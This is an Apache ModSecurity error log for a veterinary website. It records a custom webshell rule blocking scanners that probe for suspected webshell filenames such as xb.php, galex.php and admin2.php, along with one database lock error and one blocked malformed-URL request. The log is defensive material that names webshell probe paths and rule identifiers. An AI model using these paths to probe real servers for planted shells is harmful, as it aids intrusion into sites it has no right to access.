[Fri Dec 26 21:23:58.244493 2025] [:error] [pid 15063:tid 15068] [client 52.175.121.6:4162] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aU6MbuDsf_aL46Jy7z8dqAAAAQM"]
[Fri Dec 26 21:23:59.691087 2025] [:error] [pid 28269:tid 28317] [client 52.175.121.6:5100] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aU6Mb53ZK8bJ-c9-kjONwwAAAE8"]
[Fri Dec 26 21:24:01.203403 2025] [:error] [pid 28268:tid 28279] [client 52.175.121.6:5109] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aU6McXc_KuO_55-uPTS-OwAAAAQ"]
[Fri Dec 26 21:24:02.582756 2025] [:error] [pid 15063:tid 15071] [client 52.175.121.6:3522] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aU6McuDsf_aL46Jy7z8drwAAAQY"]
[Fri Dec 26 21:24:04.670671 2025] [:error] [pid 34865:tid 34870] [client 52.175.121.6:6355] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aU6MdKi4zjVVKBdvuTT4WAAAAUM"]
[Fri Dec 26 21:24:05.314646 2025] [:error] [pid 28355:tid 28363] [client 52.175.121.6:1205] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aU6MdbsFqKXf7ADZcTYl5QAAAMY"]
[Fri Dec 26 21:24:06.672468 2025] [:error] [pid 28269:tid 28323] [client 52.175.121.6:4012] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aU6Mdp3ZK8bJ-c9-kjON1gAAAFU"]
[Fri Dec 26 21:24:07.708086 2025] [:error] [pid 28355:tid 28364] [client 52.175.121.6:4777] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aU6Md7sFqKXf7ADZcTYl6QAAAMc"]
[Fri Dec 26 21:24:08.986795 2025] [:error] [pid 28355:tid 28376] [client 52.175.121.6:1166] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aU6MeLsFqKXf7ADZcTYl7gAAANM"]
[Fri Dec 26 21:24:11.476107 2025] [:error] [pid 15063:tid 15069] [client 52.175.121.6:6356] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aU6Me-Dsf_aL46Jy7z8dtgAAAQQ"]
[Fri Dec 26 21:24:13.254506 2025] [:error] [pid 15063:tid 15086] [client 52.175.121.6:4169] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aU6MfeDsf_aL46Jy7z8dugAAARU"]
[Fri Dec 26 21:24:14.348135 2025] [:error] [pid 7160:tid 7186] [client 52.175.121.6:5834] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aU6Mfuw_ihNZR5L8vEWTKwAAAZc"]
[Fri Dec 26 21:24:17.783437 2025] [:error] [pid 15063:tid 15076] [client 52.175.121.6:5417] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aU6MgeDsf_aL46Jy7z8dwAAAAQs"]
[Fri Dec 26 21:24:20.698831 2025] [:error] [pid 7160:tid 7177] [client 52.175.121.6:5843] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aU6MhOw_ihNZR5L8vEWTMQAAAY4"]
[Fri Dec 26 21:24:22.291640 2025] [:error] [pid 28270:tid 28347] [client 52.175.121.6:5851] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aU6Mhl9Ac79_ckdPN5JjNwAAAJI"]
[Fri Dec 26 21:24:23.480418 2025] [:error] [pid 7160:tid 7165] [client 52.175.121.6:5849] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aU6Mh-w_ihNZR5L8vEWTMwAAAYI"]
[Fri Dec 26 21:24:24.793126 2025] [:error] [pid 28269:tid 28320] [client 52.175.121.6:3865] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aU6MiJ3ZK8bJ-c9-kjON8QAAAFI"]
[Fri Dec 26 21:24:25.428353 2025] [:error] [pid 7160:tid 7171] [client 52.175.121.6:5428] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aU6Miew_ihNZR5L8vEWTNAAAAYg"]
[Fri Dec 26 21:24:27.492066 2025] [:error] [pid 28269:tid 28303] [client 52.175.121.6:7145] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aU6Mi53ZK8bJ-c9-kjON9wAAAEE"]
[Fri Dec 26 21:24:28.904706 2025] [:error] [pid 7160:tid 7179] [client 52.175.121.6:6183] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aU6MjOw_ihNZR5L8vEWTNQAAAZA"]
[Fri Dec 26 21:24:29.917810 2025] [:error] [pid 28270:tid 28334] [client 52.175.121.6:6312] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aU6MjV9Ac79_ckdPN5JjOgAAAIU"]
[Fri Dec 26 21:24:32.452587 2025] [:error] [pid 28268:tid 28296] [client 52.175.121.6:4645] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aU6MkHc_KuO_55-uPTS-XQAAABU"]
[Fri Dec 26 21:24:33.914590 2025] [:error] [pid 28269:tid 28321] [client 52.175.121.6:2563] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aU6MkZ3ZK8bJ-c9-kjOOCQAAAFM"]
[Fri Dec 26 21:24:35.173790 2025] [:error] [pid 28269:tid 28314] [client 52.175.121.6:2623] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aU6Mk53ZK8bJ-c9-kjOODQAAAEw"]
[Fri Dec 26 21:46:30.982476 2025] [proxy_fcgi:error] [pid 28270:tid 28351] [client 114.119.145.22:22801] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_postmeta` SET `meta_value` = '{\\"timeout\\":1766882790,\\"value\\":{\\"content\\":\\"\\\\t\\\\t<section class=\\\\\\"elementor-section elementor-top-section elementor-element elementor-element-1cbfe8e header-section-elementor elementor-section-content-middle elementor-section-boxed elementor-section-height-default elementor-section-height-default\\\\\\" data-id=\\\\\\"1cbfe8e\\\\\\" data-element_type=\\\\\\"section\\\\\\" data-settings=\\\\\\"{&quot;sticky&quot;:&quot;top&quot;,&quot;background_background&quot;:&quot;classic&quot;,&quot;sticky_offset&quot;:1,&quot;sticky_effects_offset&quot;:1,&quot;sticky_on&quot;:[&quot;desktop&quot;,&quot;tablet&quot;,&quot;mobile&quot;],&quot;sticky_anchor_link_offset&quot;:0}\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-container elementor-column-gap-default\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-column elementor-col-100 elementor-top-column elementor-element elemen...PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_postmeta` SET `meta_value` = '{\\"timeout\\":1766882790,\\"value\\":{\\"content\\":\\"\\\\t\\\\t<section class=\\\\\\"elementor-section elementor-top-section elementor-element elementor-element-129ec31 elementor-section-content-middle footer-section elementor-section-boxed elementor-section-height-default elementor-section-height-default\\\\\\" data-id=\\\\\\"129ec31\\\\\\" data-element_type=\\\\\\"section\\\\\\" data-settings=\\\\\\"{&quot;background_background&quot;:&quot;classic&quot;}\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-container elementor-column-gap-default\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-1caf644\\\\\\" data-id=\\\\\\"1caf644\\\\\\" data-element_type=\\\\\\"column\\\\\\">\\\\n\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-widget-wrap elementor-element-populated\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t\\\\t<section class=\\\\\\"elementor-section elementor-i...', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2%2010%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%20100.aspx
[Sat Dec 27 00:10:57.231710 2025] [:error] [pid 28269:tid 28303] [client 52.167.144.195:4331] [client 52.167.144.195] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "82"] [id "210381"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||vetstars.com.au|F|4"] [data "REQUEST_URI=/@\\x01!*%g-\\x15.aspx"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/@\\x01!*%g-\\x15.aspx"] [unique_id "aU6zkZ3ZK8bJ-c9-kjO6AgAAAEE"]
[Sat Dec 27 00:33:35.416036 2025] [:error] [pid 34189:tid 34254] [client 4.189.160.210:52292] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aU643wnn007DnMwSsfcGwgAAAIc"]
[Sat Dec 27 00:33:36.071680 2025] [:error] [pid 34188:tid 34237] [client 4.189.160.210:59725] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aU644A54j0mXgip5BAGOYgAAAFE"]
[Sat Dec 27 00:33:36.812766 2025] [:error] [pid 34188:tid 34236] [client 4.189.160.210:52342] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aU644A54j0mXgip5BAGOZAAAAFA"]
[Sat Dec 27 00:33:37.860864 2025] [:error] [pid 34188:tid 34239] [client 4.189.160.210:52315] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aU644Q54j0mXgip5BAGOZQAAAFM"]
[Sat Dec 27 00:33:40.328819 2025] [:error] [pid 34187:tid 34196] [client 4.189.160.210:59716] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aU645Kv8srZGEpsIm8Dd8QAAAAQ"]
[Sat Dec 27 00:33:42.042805 2025] [:error] [pid 34189:tid 34257] [client 4.189.160.210:7201] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aU645gnn007DnMwSsfcGygAAAIo"]
[Sat Dec 27 00:33:45.072624 2025] [:error] [pid 34188:tid 34228] [client 4.189.160.210:7177] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aU646Q54j0mXgip5BAGOagAAAEg"]
[Sat Dec 27 00:33:47.442761 2025] [:error] [pid 34189:tid 34250] [client 4.189.160.210:59721] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aU646wnn007DnMwSsfcG0wAAAIM"]
[Sat Dec 27 00:33:49.224019 2025] [:error] [pid 34187:tid 34209] [client 4.189.160.210:59775] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aU647av8srZGEpsIm8Dd-QAAABE"]
[Sat Dec 27 00:33:50.109094 2025] [:error] [pid 34274:tid 34292] [client 4.189.160.210:63162] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aU647s6fabpS0mfhiCHlcAAAANA"]
[Sat Dec 27 00:33:52.391598 2025] [:error] [pid 34274:tid 34294] [client 4.189.160.210:63141] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aU648M6fabpS0mfhiCHlcgAAANI"]
[Sat Dec 27 00:33:53.442229 2025] [:error] [pid 34189:tid 34259] [client 4.189.160.210:7228] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aU648Qnn007DnMwSsfcG1QAAAIw"]
[Sat Dec 27 00:33:54.254811 2025] [:error] [pid 34189:tid 34271] [client 4.189.160.210:59762] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin2.php"] [unique_id "aU648gnn007DnMwSsfcG2AAAAJg"]
[Sat Dec 27 00:33:54.673720 2025] [:error] [pid 34188:tid 34243] [client 4.189.160.210:59730] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin2.php"] [unique_id "aU648g54j0mXgip5BAGObgAAAFc"]
[Sat Dec 27 00:33:55.297115 2025] [:error] [pid 34187:tid 34197] [client 4.189.160.210:59714] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin2.php"] [unique_id "aU6486v8srZGEpsIm8Dd_wAAAAU"]
[Sat Dec 27 00:33:56.404313 2025] [:error] [pid 34274:tid 34299] [client 4.189.160.210:52317] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin2.php"] [unique_id "aU649M6fabpS0mfhiCHldwAAANc"]
[Sat Dec 27 00:33:57.206288 2025] [:error] [pid 34274:tid 34296] [client 4.189.160.210:57027] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aU649c6fabpS0mfhiCHlewAAANQ"]
[Sat Dec 27 00:33:58.468125 2025] [:error] [pid 34274:tid 34289] [client 4.189.160.210:52299] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aU649s6fabpS0mfhiCHlfgAAAM0"]
[Sat Dec 27 00:33:58.840649 2025] [:error] [pid 34274:tid 34281] [client 4.189.160.210:7185] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aU649s6fabpS0mfhiCHlfwAAAMU"]
[Sat Dec 27 00:33:59.688982 2025] [:error] [pid 34188:tid 34226] [client 4.189.160.210:52312] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aU649w54j0mXgip5BAGOdgAAAEY"]
[Sat Dec 27 00:34:00.855645 2025] [:error] [pid 34187:tid 34192] [client 4.189.160.210:52325] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aU64-Kv8srZGEpsIm8DeBAAAAAA"]
[Sat Dec 27 00:34:01.398097 2025] [:error] [pid 34189:tid 34256] [client 4.189.160.210:63139] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aU64-Qnn007DnMwSsfcHBAAAAIk"]
[Sat Dec 27 00:34:02.495036 2025] [:error] [pid 34187:tid 34203] [client 4.189.160.210:52295] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aU64-qv8srZGEpsIm8DeBQAAAAs"]
[Sat Dec 27 00:34:03.083591 2025] [:error] [pid 34274:tid 34290] [client 4.189.160.210:52290] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aU64-86fabpS0mfhiCHlhQAAAM4"]
[Sat Dec 27 00:34:03.695778 2025] [:error] [pid 34189:tid 34267] [client 4.189.160.210:7189] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aU64-wnn007DnMwSsfcHGgAAAJQ"]
